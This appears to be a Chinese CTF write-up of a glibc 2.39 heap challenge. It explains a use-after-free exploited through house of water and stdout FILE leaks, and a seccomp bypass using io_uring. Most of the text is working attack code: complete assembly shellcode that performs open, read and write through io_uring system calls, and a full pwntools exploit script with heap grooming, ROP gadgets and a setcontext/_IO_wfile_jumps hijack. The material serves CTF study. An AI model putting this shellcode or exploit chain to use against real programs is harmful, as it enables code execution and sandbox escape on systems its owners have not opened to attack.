更新
ptrace
在 docker
环境中存在很多限制,并且要加上 SYS_PTRACE
权限,并且想要附加其它进程要求有 root
权限或者 CAP_PTRACE
,而且目标 ubuntu
上存在 Yama
安全模式保存,默认都为 1
前言
记得去年 ACTF
就出过 io_uring orw
的题目,当时嫌麻烦没有研究,没想到今年又遇到了,所以不得不自己手撸一下了(:
直接对着 liburing 撸就完了,找到核心的系统调用,然后提取出来即可。感兴趣的可以自己试试,不想动手的可以直接用我提供的 io_uring orw shellcode
漏洞分析
[0, 0x1000]
大小堆块的 UAF
,可以 edit
,但是无 show
函数,所以这里得打 _IO_2_1_stdout_
去进行 leak
。但是远程 glibc
版本为 2.39
,所以 fastbin / tcache
的 next
指针都进行了加密。所以传统的 fastbin attack
就用不了了
最后找到了 house of water
攻击手法,发现这个题目就是 house of water
的模板题,关于 house of water
可以参考 how2heap 上的脚本,其实利用方法比较简单,就不多说了。题目还把 heap/glibc
的 12~12+4 bit
给我们了,所以不需要进行爆破,否则需要进行两次爆破,成功率为 1/256
题目开启了沙箱:
xiaozaya@vm:~/rubbish/P$ seccomp-tools dump ./pwn
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x05 0xffffffff if (A != 0xffffffff) goto 0010
0005: 0x15 0x04 0x00 0x00000002 if (A == open) goto 0010
0006: 0x15 0x03 0x00 0x0000003b if (A == execve) goto 0010
0007: 0x15 0x02 0x00 0x00000101 if (A == openat) goto 0010
0008: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0010
0009: 0x15 0x00 0x01 0x000001b5 if (A != 0x1b5) goto 0011
0010: 0x06 0x00 0x00 0x00000000 return KILL
0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW
可以看到主要把 o
给限制死了
漏洞利用
主要是利用 io_uring orw
,这里我尝试利用 ptrace
系统调用进行绕沙箱,但是最后失败了,如果有师傅用 ptrace
绕成功了,希望能够不吝赐教(:
io_uring orw shellcode
:
from pwn import *
context(arch = 'amd64', os = 'linux')
"""
rsp+0x100 0x078: struct io_uring_params params = {};
rsp+0x200 0x008: uring_fd
rsp+0x208 0x008: sq_ring ptr
rsp+0x210 0x008: cq_ring ptr
rsp+0x218 0x008: sqes ptr
rsp+0x220 0x008: flag_fd
rsp+0x300 0x100: buffer
"""
shellcode = asm("""
/*视情况调整栈帧*/
add rsp, 0x2000
/*int uring_fd = syscall(SYS_io_uring_setup, 16, ¶ms);*/
mov rax, 0
lea rdi, [rsp+0x100]
mov rcx, 15
rep stosq
mov rdi, 16
lea rsi, [rsp+0x100]
mov rax, 0x1a9
syscall
/*unsigned char *sq_ring = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, uring_fd, IORING_OFF_SQ_RING);*/
mov qword ptr [rsp+0x200], rax
xor rdi, rdi
mov rsi, 0x1000
mov rdx, 3
mov r10, 1
mov r8, qword ptr [rsp+0x200]
mov r9, 0
mov rax, 9
syscall
mov qword ptr [rsp+0x208], rax
/*unsigned char *cq_ring = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, uring_fd, IORING_OFF_CQ_RING);*/
xor rdi, rdi
mov rsi, 0x1000
mov rdx, 3
mov r10, 1
mov r8, qword ptr [rsp+0x200]
mov r9, 0x8000000
mov rax, 9
syscall
mov qword ptr [rsp+0x210], rax
/*struct io_uring_sqe *sqes = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, uring_fd, IORING_OFF_SQES);*/
xor rdi, rdi
mov rsi, 0x1000
mov rdx, 3
mov r10, 1
mov r8, qword ptr [rsp+0x200]
mov r9, 0x10000000
mov rax, 9
syscall
mov qword ptr [rsp+0x218], rax
/*openat*/
mov rax, 0
mov rdi, qword ptr [rsp+0x218]
mov rcx, 8
rep stosq
mov rdi, qword ptr [rsp+0x218]
mov byte ptr [rdi], 18
mov byte ptr [rdi+1], 16
mov dword ptr [rdi+4], -100
/* 要打开文件的路径存放在 rsp+0x300 处 */
mov rax, 0x67616c662f2e
mov qword ptr [rsp+0x300], rax
lea rax, [rsp+0x300]
mov qword ptr [rdi+16], rax
mov dword ptr [rdi+28], 0
mov rdi, qword ptr [rsp+0x208]
mov edx, dword ptr [rsp+0x140]
add rdi, rdx
mov dword ptr [rdi], 0
mov rdi, qword ptr [rsp+0x208]
mov edx, dword ptr [rsp+0x12c]
add rdi, rdx
add dword ptr [rdi], 1
mov rdi, qword ptr [rsp+0x200]
mov rsi, 1
mov rdx, 1
mov r10, 1
xor r8, r8
xor r9, r9
mov rax, 0x1aa
syscall
mov rdi, qword ptr [rsp+0x210]
mov edx, dword ptr [rsp+0x164]
add rdi, rdx
mov edx, dword ptr [rdi+8]
mov qword ptr [rsp+0x220], rdx
/*read*/
mov rax, 0
mov rdi, qword ptr [rsp+0x218]
mov rcx, 8
rep stosq
mov rdi, qword ptr [rsp+0x218]
mov byte ptr [rdi], 22
mov rax, qword ptr [rsp+0x220]
mov dword ptr [rdi+4], eax
lea rax, [rsp+0x300]
mov qword ptr [rdi+16], rax
mov dword ptr [rdi+24], 0x100
mov rdi, qword ptr [rsp+0x208]
mov edx, dword ptr [rsp+0x140]
add rdi, rdx
mov dword ptr [rdi], 0
mov rdi, qword ptr [rsp+0x208]
mov edx, dword ptr [rsp+0x12c]
add rdi, rdx
add dword ptr [rdi], 1
mov rdi, qword ptr [rsp+0x200]
mov rsi, 1
mov rdx, 1
mov r10, 1
xor r8, r8
xor r9, r9
mov rax, 0x1aa
syscall
/*write*/
mov rax, 0
mov rdi, qword ptr [rsp+0x218]
mov rcx, 8
rep stosq
mov rdi, qword ptr [rsp+0x218]
mov byte ptr [rdi], 23
mov dword ptr [rdi+4], 1
lea rax, [rsp+0x300]
mov qword ptr [rdi+16], rax
mov dword ptr [rdi+24], 0x100
mov rdi, qword ptr [rsp+0x208]
mov edx, dword ptr [rsp+0x140]
add rdi, rdx
mov dword ptr [rdi], 0
mov rdi, qword ptr [rsp+0x208]
mov edx, dword ptr [rsp+0x12c]
add rdi, rdx
add dword ptr [rdi], 1
mov rdi, qword ptr [rsp+0x200]
mov rsi, 1
mov rdx, 3
mov r10, 1
xor r8, r8
xor r9, r9
mov rax, 0x1aa
syscall
""")
print("shellcode len: ", hex(len(shellcode)))
with open("orw.bin", "wb") as f:
f.write(shellcode)
exp.py
如下:
from pwn import *
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'
io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc
def debug():
gdb.attach(io)
pause()
sd = lambda s : io.send(s)
sda = lambda s, n : io.sendafter(s, n)
sl = lambda s : io.sendline(s)
sla = lambda s, n : io.sendlineafter(s, n)
rc = lambda n : io.recv(n)
rl = lambda : io.recvline()
rut = lambda s : io.recvuntil(s, drop=True)
ruf = lambda s : io.recvuntil(s, drop=False)
addr4 = lambda n : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8 = lambda n : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte = lambda n : str(n).encode()
info = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh = lambda : io.interactive()
menu = b'> '
def add(size):
sla(menu, b'1')
sla(b'party? ', byte(size))
def dele(idx):
sla(menu, b'2')
sla(b'removed? ', byte(idx))
def leak_byte4():
sla(menu, b'3')
sla(b'here: ', byte(114514))
rut(b'Let me see how your dishes are coming along: ')
return int(rut(b'\n'), 16)
def uaf_write(idx, offset, data):
sla(menu, b'3')
sla(b'here: ', byte(111111))
sla(b'order', byte(idx))
sla(b'Which one? ', byte(offset))
sda(b'Baking >', data)
def copy_idx(idx):
sla(menu, b'3')
sla(b'here: ', byte(idx))
print(hex(libc.sym.syscall))
libc_4 = leak_byte4()
stdout = (leak_byte4() << 12 | 0xe50) + 0xa930
info("stdout", stdout)
add(0x3d8) # 0
add(0x3e8) # 1
dele(0)
dele(1)
add(0x500)
for _ in range(6):
add(0x88) # 2 ~ 2+6
#for i in range(7):
# dele(i+2)
add(0x1000-0xa0) # 9
add(0x18) # 10
copy_idx(9) # 9 --> 0
dele(9)
add(0x18) # 11
add(0x500) # 12
add(0x500) # 13
add(0x500) # 14
add(0x18) # 15
dele(12)
uaf_write(0, 0x10, p64(0)+p64(0xa21))
uaf_write(0, 0x10+0x510+0x510, p64(0x510+0x510)+p64(0x510))
dele(14)
add(0x4f0) # 16
add(0x510) # 17
add(0x500) # 18
uaf_write(0, 0x10+0x500+8, p64(0x31))
dele(17)
uaf_write(0, 0x10+0x510+8, p64(0x511))
add(0x1000-0xa0) # 19
add(0x18) # 20
copy_idx(19) # 19 --> 1
dele(19)
add(0x18) # 21
add(0x500) # 22
add(0x500) # 23
add(0x500) # 24
add(0x18) # 25
dele(22)
uaf_write(1, 0x10, p64(0)+p64(0xa21))
uaf_write(1, 0x10+0x510+0x510, p64(0x510+0x510)+p64(0x510))
dele(24)
add(0x4f0) # 26
add(0x510) # 27
add(0x500) # 28
uaf_write(1, 0x10+0x500+8, p64(0x21))
dele(27)
uaf_write(1, 0x10+0x510+8, p64(0x511))
copy_idx(2) # 2 --> 2
copy_idx(13) # 13 --> 3
copy_idx(23) # 23 --> 4
for _ in range(13):
add(0xff0) # 29 ~ 29+12
copy_idx(29+12) # 41 --> 5
uaf_write(5, 0xe90-0x10, p64(0x10000)+p64(0x20))
add(0x238) # 42
add(0x248) # 43
dele(42)
dele(43)
dele(23)
dele(2)
dele(13)
heap = (leak_byte4() ^ libc_4) - 0x10
heap = (heap << 8) | 0x80
info("heap", heap)
uaf_write(4, 8, p16(heap))
uaf_write(3, 0, p16(heap))
add(0x500) # 44
add(0x500) # 45
add(0x100) # 46
add(0x100) # 47
copy_idx(47) # 47 --> 6
uaf_write(6, 0, p16(stdout))
add(0x238) # 48
copy_idx(48) # 48 --> 7
uaf_write(7, 0, p64(0xfbad1800)+p64(0)*3+p16(stdout+0x68))
rut(b'\n')
libc_base = addr8(8) - 0x21aaa0
info("libc_base", libc_base)
libc.address = libc_base
environ = libc.sym.environ
uaf_write(7, 0, p64(0xfbad1800)+p64(0)*3+p64(environ)+p64(environ+8)*2)
stack = addr8(8)
info("stack", stack)
uaf_write(7, 0, p64(0xfbad1800)+p64(0)*3+p64(stack-0x90)+p64(stack-0x90+8)*2)
canary = addr8(8)
info("canary", canary)
uaf_write(7, 0, p64(0xfbad1800)+p64(0)*3+p64(stack-0x30)+p64(stack-0x30+8)*2)
pie_base = addr8(8) - 0x11b5
info("pie_base", pie_base)
uaf_write(7, 0, p64(0xfbad1800)+p64(0)*3+p64(pie_base+0x4480)+p64(pie_base+0x4480+8)*2)
heap_base = addr8(8) - 0x12e0
info("heap_base", heap_base)
r = libc.sym.read
w = libc.sym.write
pop_rdi = libc_base + 0x000000000002a3e5 # pop rdi ; ret
pop_rsi = libc_base + 0x000000000002be51 # pop rsi ; ret
pop_rdx = libc_base + 0x00000000000904a9 # pop rdx ; pop rbx ; ret
pop_rax = libc_base + 0x0000000000045eb0 # pop rax ; ret
jmp_rdi = libc_base + 0x00000000000b131c # jmp rdi
ret = libc_base + 0x0000000000029139 # ret
syscall = libc.sym.syscall + 27
with open("orw.bin", "rb") as f:
shellcode = f.read()
uaf_write(0, 0x400, shellcode)
shellcode_addr = heap_base+0x12e0+0x400
info("shellcode_len", len(shellcode))
info("shellcode_addr", shellcode_addr)
pay = p64(pop_rdi)+p64(shellcode_addr&~0xfff)+p64(pop_rsi)+p64(0x1000)+p64(pop_rdx)+p64(7)*2+p64(pop_rax)+p64(10)
pay += p64(syscall)+p64(pop_rdi)+p64(shellcode_addr)+p64(jmp_rdi)
info("rop len", len(pay))
uaf_write(0, 0x300, pay)
pay = flat({
0xa0: heap_base+0x12e0+0x300,
0xa8: ret,
0xe0: heap_base+0x12e0+0x200,
0x268: libc.sym.setcontext+61
}, filler=b'\x00')
uaf_write(0, 0, pay)
uaf_write(6, 8, p64(libc.sym._IO_2_1_stderr_))
pay = flat({
0x0: 0,
0x28: 1,
0xa0: heap_base+0x12e0,
0xd8: libc.sym._IO_wfile_jumps,
}, filler=b'\x00')
add(0x248) # 49
copy_idx(49) # 49 --> 8
uaf_write(8, 0, pay)
#gdb.attach(io, 'b *$rebase(0x1A30)')
sla(menu, b'4')
#pause()
#debug()
sh()
本地测试结果如下:本地 glibc 2.35